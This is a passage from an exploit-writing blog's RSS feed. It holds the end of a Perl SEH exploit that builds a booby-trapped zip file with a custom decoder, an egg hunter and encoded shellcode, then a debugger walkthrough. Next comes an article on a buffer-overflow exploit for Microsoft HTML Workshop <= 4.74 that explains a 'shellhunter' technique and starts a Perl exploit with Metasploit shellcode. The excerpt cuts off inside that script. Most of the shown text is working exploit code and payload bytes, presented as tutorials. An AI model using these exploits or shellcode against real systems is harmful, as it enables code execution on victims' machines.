"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x61</span>" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
<span style="color: #0000ff">my</span> $edxalign="<span style="color: #8b0000">\x54\x5a\x74\x20</span>";
<span style="color: #0000ff">my</span> $filler2 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($espalign.$edxalign));
<span style="color: #0000ff">my</span> $jmpback="<span style="color: #8b0000">\x74\xf7</span>";     #jump back 102 bytes - to $espalign
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $decoder = "<span style="color: #8b0000">AAA</span>".   #3 bytes padding needed before decoder
"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".
"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x56\x55\x56\x5E</span>".
"<span style="color: #8b0000">\x50</span>".
"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".
"<span style="color: #8b0000">\x2d\x2A\x5A\x35\x54</span>".
"<span style="color: #8b0000">\x2d\x2A\x5A\x36\x54</span>".
"<span style="color: #8b0000">\x2d\x2B\x61\x35\x54</span>".
"<span style="color: #8b0000">\x50</span>";</font></strong>

<span style="color: #0000ff">my</span> $filler3 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($jmpback.$decoder));
<span style="color: #0000ff">my</span> $filler1= "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$decoder.$filler3));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$decoder.$filler3.
$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>After the custom decoder finishes reproducing the original code, we can see that it has nicely written the code a few bytes below the end of the decoder (see screenshot below, reproduced code can be found at 0x0013F8E4)</p>
<p>Conveniently, the INC ECX instructions (A&#8217;s) between the end of the decoder and the reproduced bytecode, will act as a nop here. So when the decoder has finished, it will execute a bunch of harmless inc ecx instructions, and will eventually execute the sub edx,35E&nbsp; and jmp edx instructions.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image21.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb21.png" width="384" height="277"></a> </p>
<p>Step through until the jmp edx instruction.&nbsp; Don&#8217;t make the jump yet, just verify that EDX now points at the start of the egg hunter :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image22.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb22.png" width="495" height="277"></a> </p>
<p>That looks fine.&nbsp; </p>
<p>If you now press F9, the egg hunter should run, locate the shellcode, and execute it :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image23.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb23.png" width="497" height="237"></a> </p>
<p>pwned !</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>About the author</h3>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/head1_thumb636_thumb13.jpg"><img style="border-right-width: 0px; margin: 0px 15px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="head1_thumb636_thumb[1]" border="0" alt="head1_thumb636_thumb[1]" align="left" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/head1_thumb636_thumb13_thumb.jpg" width="182" height="214"></a>Peter Van Eeckhoutte (a.k.a. “corelanc0d3r”) has been working in IT System Engineering and Security since 1997. He currently serves as IT Infrastructure Manager and Security Officer for a large European company.</p>
<p>He is owner of the <a href="http://www.corelan.be:8800/">Corelan Blog</a>, author of <a href="http://www.corelan.be:8800/index.php/category/security/exploit-writing-tutorials/">several exploit writing tutorials</a>, a variety of <a href="http://www.corelan.be:8800/index.php/category/my-free-tools/">free tools</a>, maintains/moderates an <a href="http://www.corelan.be:8800/index.php/forum/writing-exploits/">exploit writing forum</a>, and founder of the Corelan Team, which is a group of people that share the same interests : gathering and sharing knowledge.</p>
<p>Peter is 35 years old and currently lives in Deerlijk, Belgium.&nbsp; You can follow him on <a href="https://twitter.com/corelanc0d3r">twitter</a> or reach him via peter dot ve [at] corelan {dot} be.&nbsp; </p>
<p>&nbsp;</p>
<h3>Thanks to</h3>
<p>My buddies at <a href="http://www.corelan.be:8800/index.php/security/corelan-team-members/">Corelan Team</a>, my friends all over the world, and of course Shahin Ramezany for giving me the opportunity to publish this article on the abysssec.com website.</p>
<p>(oh &#8230; and by the way Shahin : I&#8217;m really sorry I ruined <a href="http://www.counter-strike.net/">your game</a> last night &#8211; sorry bro ;-) )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/03/18/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsoft HTML Workshop</title>
		<link>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/</link>
		<comments>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 09:25:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[egg hunter]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=256</guid>
		<description><![CDATA[Microsoft HTML Workshop &#60;= 4.74 Universal Buffer Overflow Exploit - Another step towards perfect exploitation This is my next article explaining my second public exploit implementing my recent Shellhunting technique. Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but [...]]]></description>
			<content:encoded><![CDATA[<blockquote>
<h2><em><span style="color: #808080;"><strong>Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit -</strong></span></em></h2>
<h3><em><span style="text-decoration: underline;"><span style="color: #808080;"><strong>Another step towards perfect exploitation</strong></span></span></em></h3>
</blockquote>
<p>This is my next article explaining my second <em>public</em> exploit implementing my recent <span style="color: #800000;"><em>Shellhunting</em></span> <span style="color: #000000;">technique. </span></p>
<p><span style="color: #000000;">Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.</span></p>
<p><span style="color: #000000;">The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit? </span></p>
<p><span style="color: #000000;">Here is why:-</span></p>
<ol>
<li><span style="color: #808080;"><em>To overflow the buffer, 280 bytes and above are needed, this isn&#8217;t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.</em></span></li>
<li><span style="color: #808080;"><em>To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.<br />
</em></span></li>
<li><span style="color: #808080;"><em>This address includes a &#8220;\x00&#8243; byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.</em></span></li>
</ol>
<p>Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.<span style="color: #000000;">With the Shellhunter the shellcode may even include NULL bytes! </span></p>
<p>Lets recap what a shellhunter does:-</p>
<ol>
<li><span style="color: #808080;"><em>Searches through memory for a certain &#8220;lookout&#8221; value that when located will revert program execution flow to the address at the &#8220;lookout&#8221;. Also the &#8220;lookout&#8221; values must be a set of friendly instructions that will not cause an unneeded &#8220;Access Violation&#8221;.</em></span></li>
<li><span style="color: #808080;"><em>In this case there is no need for it to be alphanumerical, also size does not matter.</em></span></li>
</ol>
<p><span style="color: #808080;"><span style="color: #000000;">The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape&#8217;s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the <em>whole </em>memory with the shellhunter. </span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Of course there are a few problems that come to mind with that:</span></span></p>
<ul>
<li>Access Violations will occur when retrieving data from an invalid address.</li>
<li>We need to store the variable which is address currently searched.</li>
<li>The applications memory is a huge range from 0&#215;00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.</li>
<li>Also, but I&#8217;ll discuss about this later, the stack layout has to be repaired by the shellhunter..</li>
</ul>
<p>Wow, a <span style="text-decoration: underline;">load</span> of problems.</p>
<p>Now I will write up how I solved them.</p>
<p><span style="text-decoration: underline;">Access Violation problem when reading invalid memory</span></p>
<p>The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.</p>
<p>Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:</p>
<p><span style="color: #99cc00;"><strong>[ Pointer to the next SEH record]</strong></span></p>
<p><span style="color: #99cc00;"><strong>[Pointer to exception handler code] </strong></span></p>
<p>Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the &#8220;Pointer to exception handler code&#8221; point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.</p>
<p>If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the &#8220;lookout&#8221; value, if invalid, exception occurs and then again all over we set up SEH and check for &#8220;lookout&#8221;.</p>
<p><span style="text-decoration: underline;">Save the current address variable somewhere in the heap</span></p>
<p>In this problem I used the address <span style="color: #99cc00;">0x7ffdfad0</span>. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.</p>
<p><span style="text-decoration: underline;">Speedy search through memory</span></p>
<p>At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used <span style="color: #99cc00;">32</span> bytes. But this also needed to increase the amount of &#8220;lookout&#8221; values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over <span style="color: #99cc00;">64*4</span> bytes of &#8220;lookout&#8221; value in the exploit!).</p>
<p><span style="text-decoration: underline;">Repairing the Stack layout</span></p>
<p>This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.</p>
<p>That&#8217;s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don&#8217;t hesitate to contact me at skdrat&lt;at&gt;hotmail&lt;.&gt;com (MSN Messenger).</p>
<p>Read the exploit below, and enjoy it!</p>
<p>Milw0rm exploit URL: <strong><span style="color: #99cc00;">http://milw0rm.com/exploits/7727</span></strong></p>
<p>Exploit:</p>
<pre><span style="color: #808080;">
</span></pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;">&nbsp;
    <span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
    <span style="color: #666666; font-style: italic;"># Microsoft HTML Workshop &lt;= 4.74 Universal Buffer Overflow Exploit</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;"># Discovered/Exploit by SkD                    (skdrat@hotmail.com)</span>
    <span style="color: #666666; font-style: italic;"># -----------------------------------------------------------------</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># This is a continuation of my new method, shellhunting.</span>
    <span style="color: #666666; font-style: italic;"># The exploit is far more advanced than the Amaya's as it runs on</span>
    <span style="color: #666666; font-style: italic;"># every system, partly because the shellhunter itself is very much</span>
    <span style="color: #666666; font-style: italic;"># reliable and universal.</span>
    <span style="color: #666666; font-style: italic;"># The shellhunter does the following tasks to find and exec.</span>
    <span style="color: #666666; font-style: italic;"># shellcode:-</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># 1- Searches through the whole memory of the application.</span>
    <span style="color: #666666; font-style: italic;"># 2- Installs a SEH handler so on access violations it won't</span>
    <span style="color: #666666; font-style: italic;">#    stop hunting for the shellcode.</span>
    <span style="color: #666666; font-style: italic;"># 3- Repairs stack so a stack overflow won't occur (that is what</span>
    <span style="color: #666666; font-style: italic;">#    happens when the SEH is called up, many PUSH instructions</span>
    <span style="color: #666666; font-style: italic;">#    are called from the relevant modules (ntdll, etc).</span>
    <span style="color: #666666; font-style: italic;"># 4- Improved speed by searching through 32 bytes at a time.</span>
    <span style="color: #666666; font-style: italic;"># 5- Uses a certain address in memory to store a variable for the</span>
    <span style="color: #666666; font-style: italic;">#    search.</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># It is very stable and will allow any shellcode (bind/reverse shell,</span>
    <span style="color: #666666; font-style: italic;"># dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Yeah, I guess that's about it. Took me a few hours to figure out the</span>
    <span style="color: #666666; font-style: italic;"># whole thing but nothing is impossible ;).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Oh, I think some schools use this software :) (it's Microsoft's, right?).</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># You can download the app. from Microsoft's official page:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://msdn.microsoft.com/en-us/library/ms669985.aspx</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># If you are interested in my method and want to learn something new or</span>
    <span style="color: #666666; font-style: italic;"># improve your exploitation skills then visit my team's blog at:</span>
    <span style="color: #666666; font-style: italic;"># -&gt;  http://abysssec.com</span>
    <span style="color: #666666; font-style: italic;">#</span>
    <span style="color: #666666; font-style: italic;"># Peace out,</span>
    <span style="color: #666666; font-style: italic;"># SkD.</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4F<span style="color: #000099; font-weight: bold;">\x</span>4E<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>6F<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3D<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>0D<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>6E<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6C<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>3D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhp_data2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5B<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4C<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>5D<span style="color: #000099; font-weight: bold;">\x</span>0D&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0A<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>2E<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>6D&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crlf</span>      <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
